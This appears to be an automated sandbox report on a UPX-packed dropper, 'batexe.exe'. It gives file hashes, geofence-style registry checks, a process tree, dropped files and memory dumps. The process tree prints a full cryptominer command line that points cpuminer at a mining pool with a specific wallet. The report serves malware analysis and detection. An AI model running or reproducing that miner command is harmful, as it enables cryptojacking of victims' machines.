73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
305s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17/02/2024, 15:44

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1228	b2e.exe
2524	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2524	cpuminer-sse2.exe
2524	cpuminer-sse2.exe
2524	cpuminer-sse2.exe
2524	cpuminer-sse2.exe
2524	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4116-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4116 wrote to memory of 1228	4116	batexe.exe	81
PID 4116 wrote to memory of 1228	4116	batexe.exe	81
PID 4116 wrote to memory of 1228	4116	batexe.exe	81
PID 1228 wrote to memory of 5132	1228	b2e.exe	82
PID 1228 wrote to memory of 5132	1228	b2e.exe	82
PID 1228 wrote to memory of 5132	1228	b2e.exe	82
PID 5132 wrote to memory of 2524	5132	cmd.exe	85
PID 5132 wrote to memory of 2524	5132	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4116
- C:\Users\Admin\AppData\Local\Temp\F695.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\F695.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\F695.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1228
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\308.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5132
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\308.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\F695.tmp\b2e.exe

Filesize
2.5MB

MD5
03b2b6e4195e4d01d0db82fafc6a4682

SHA1
b574982ec7cdf86bcc876694f7011dba8b4c0b9a

SHA256
4dea500b67d5dd7b6d88517233345654159b2a68d185be0f0219513e1e4010ca

SHA512
0be3df585ee41e522d3decc412727c697d638fb400caab8dfbe749eb2d17fb65e4bc1e19602dab7c34ba2baf0637c254569d69d38c5ab1ccd3f6e65dac71a54c

Download Submit
C:\Users\Admin\AppData\Local\Temp\F695.tmp\b2e.exe

Filesize
4.1MB

MD5
9f077eda9d04322a61da14693403af0d

SHA1
d5fa88d41f92d793574e51e33f022742b0315eff

SHA256
96cf48d25f7d4851823b01c4addaf8d9aa6300b250c8e066dd398f58c235bd93

SHA512
84319aa643c88f944aff56399e9138b8eb9dbfa325be9697de64f8b9679da5156e3112bf385f3b7494c03676a628c225d2f24c927fac81afe033bfa2c72d9d3c

Download Submit
C:\Users\Admin\AppData\Local\Temp\F695.tmp\b2e.exe

Filesize
4.8MB

MD5
4f6e914dbe72d8821035c6b69c2db7c8

SHA1
81462fecf1dc6e79bd57509a53633af5673e2a8a

SHA256
973792e8152336ab7a5a0383d1550e1fdacefc137c13adc29030fba581fa72bc

SHA512
f658598159e8d327bf66ed984a251fa223564e92233f3bc6083bdb386f2849bbf6a57d6cef2c23a56d9b1c0e59dd572eb1a4b046f0d1aeabd311adb0ec499489

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
9421b4ecfc173e0c632f6fabe66d820d

SHA1
acc5a8af11a112e45a9bb818f46b26bc0534cb03

SHA256
2d264c15b68af91d87fa6960d4136d5e0b41b2ae4c32e661ac026bfd1799517f

SHA512
7e850b8a49b000e76e7fe9a6cdcdef4f0cb239c05b29b4f9c3e9bc4d2a926f47317fa6bb900591d94a86dc00bbe40e4333c0ddf9b29b720054d6272664c73df8

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
1debb9d862df614cba695bd387457f49

SHA1
8e9eeb38c293e61df804d04e671b9df6af41bf07

SHA256
7b27afa6e4e165134a82decb4e3fccd539fae69901a479a75f4659553ea80334

SHA512
ee9ecc82fdabf6efe72cf513c3e77e3df1db7afccff841a78d7c146d9dc4799ac660941a66e62bb34aec0e0bce93ca9f670ac57b52379daeca5ed198c4c5aa26

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
121eb6cf7e3110ec80d1ebe7339f0924

SHA1
a1810d79ede78d49764b25c3adf05613d6b102d3

SHA256
04c38dca30c24ef1db46bc39f6048ecade1d488e9ed087aa6195c44abd77e282

SHA512
278c97e8f7184bb667b31a87ec0e631b88100c02ff0982bb07ebd498a67b04e02da4548588dea26ed4d0a626a1abb74759b8c4c202ecb8f4a92e9efe62a1492c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
e0277c5473059c8f37d930ce1f1dec28

SHA1
b7c4746f38554cac23363b187f8b3dfc4eec86dc

SHA256
318d3bb93700decf8019a6d4f22c2e92e96033ac23dbf84eec5b7fedfc0576ee

SHA512
2c700a604e33958c06b67980ab99510063b66979f9ddb7faad61728ed3572436ceb962de764b157fd9c4a6800ee2d44bc469c742cce34ee890e789cc9d16d1ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1228-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1228-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2524-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2524-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2524-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2524-46-0x00000000635D0000-0x0000000063668000-memory.dmp

Filesize
608KB

Download
memory/2524-47-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/2524-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2524-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2524-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2524-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2524-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2524-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2524-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2524-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2524-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4116-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download